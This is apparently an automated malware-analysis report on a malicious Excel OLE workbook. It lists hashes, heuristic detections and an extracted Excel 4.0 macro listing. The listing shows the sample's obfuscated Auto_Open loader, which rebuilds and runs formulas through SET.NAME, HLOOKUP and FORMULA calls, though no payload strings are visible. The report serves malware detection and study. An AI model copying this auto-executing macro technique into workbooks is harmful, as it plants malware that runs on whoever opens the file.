Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 968278582ef3574f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:45:58 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 302aeb7e0aee41d6e56e767cf7ab4348 SHA-1: 3949449a2fa00cf220852ce485e4b418f0941a4b SHA-256: 968278582ef3574f0edc87d996cc7e81b9b7fd35022bee6e52c8af76fad54fdc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6565 bytes
SHA-256: d4507ef84b15f262f6b4030b84464455cc1a0e55dd7ab6c20831f80a0ee8141d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DnGtcIOUd
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A147 
' 0018     27 LABEL : Cell Value, String Constant - bbzOXGeaYWvz len=0 
' 0018     22 LABEL : Cell Value, String Constant - bFnjAuK len=0 
' 0018     27 LABEL : Cell Value, String Constant - bNGtJpiognmJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - cCNcBw len=0 
' 0018     21 LABEL : Cell Value, String Constant - dKPBfL len=0 
' 0018     23 LABEL : Cell Value, String Constant - dmeToGki len=0 
' 0018     21 LABEL : Cell Value, String Constant - gMMkQB len=0 
' 0018     23 LABEL : Cell Value, String Constant - mMjfinRh len=0 
' 0018     21 LABEL : Cell Value, String Constant - ndOEjN len=0 
' 0018     21 LABEL : Cell Value, String Constant - oDwOyM len=0 
' 0018     27 LABEL : Cell Value, String Constant - pvpYZEiOeKAr len=0 
' 0018     24 LABEL : Cell Value, String Constant - QGuIoEhrl len=0 
' 0018     21 LABEL : Cell Value, String Constant - qlxUra len=0 
' 0018     26 LABEL : Cell Value, String Constant - SFoZYhVNnwZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - UllaibKMRj len=0 
' 0018     24 LABEL : Cell Value, String Constant - wcjxMXKEU len=0 
' 0018     20 LABEL : Cell Value, String Constant - wPbhi len=0 
' 0018     25 LABEL : Cell Value, String Constant - wRmvLbNNLU len=0 
' 0018     25 LABEL : Cell Value, String Constant - wWSjlteYGN len=0 
' 0018     20 LABEL : Cell Value, String Constant - ygaxn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DnGtcIOUd,A66,"SET.NAME("dKPBfL",VALUE("0"))",""
'  DnGtcIOUd,A70,"SET.NAME("ndOEjN",dKPBfL)",""
'  DnGtcIOUd,A73,"SET.NAME("dmeToGki",dKPBfL)",""
'  DnGtcIOUd,A78,"SET.NAME("cCNcBw",COUNTA(QGuIoEhrl))",""
'  DnGtcIOUd,A83,"SET.NAME("qlxUra",COUNTA(gMMkQB))",""
'  DnGtcIOUd,A86,[],""
'  DnGtcIOUd,A89,"SET.NAME("bbzOXGeaYWvz","")",""
'  DnGtcIOUd,A94,"ndOEjN",""
'  DnGtcIOUd,A96,"SET.NAME("wRmvLbNNLU",HLOOKUP("*",QGuIoEhrl,ndOEjN,FALSE))",""
'  DnGtcIOUd,A98,"ygaxn",""
'  DnGtcIOUd,A101,"SET.NAME("wWSjlteYGN",dKPBfL)",""
'  DnGtcIOUd,A103,[],""
'  DnGtcIOUd,A106,"wWSjlteYGN",""
'  DnGtcIOUd,A109,"mMjfinRh",""
'  DnGtcIOUd,A112,"oDwOyM",""
'  DnGtcIOUd,A116,"wcjxMXKEU",""
'  DnGtcIOUd,A119,"SET.NAME("bFnjAuK",VALUE(HLOOKUP("*",gMMkQB,wcjxMXKEU,FALSE)))",""
'  DnGtcIOUd,A121,"wPbhi",""
'  DnGtcIOUd,A123,"bbzOXGeaYWvz",""
'  DnGtcIOUd,A126,"dmeToGki",""
'  DnGtcIOUd,A130,NEXT(),""
'  DnGtcIOUd,A133,"pvpYZEiOeKAr",""
'  DnGtcIOUd,A136,"SET.NAME("f",INT(T(FORMULA(T(bbzOXGeaYWvz)&"",""&T(pvpYZEiOeKAr)))))",""
'  DnGtcIOUd,A138,"SFoZYhVNnwZ",""
'  DnGtcIOUd,A141,NEXT(),""
'  DnGtcIOUd,A145,RETURN(),""
'  DnGtcIOUd,A176,"SET.NAME("bNGtJpiognmJ",A66)",""
'  DnGtcIOUd,A181,"QGuIoEhrl",""
'  DnGtcIOUd,A183,"SET.NAME("gMMkQB",R49C11)",""
'  DnGtcIOUd,A185,"SET.NAME("SFoZYhVNnwZ",193)",""
'  DnGtcIOUd,A189,"SET.NAME("UllaibKMRj",1)",""
'  DnGtcIOUd,A192,bNGtJpiognmJ(),""
'  DnGtcIOUd,A193,HALT(),""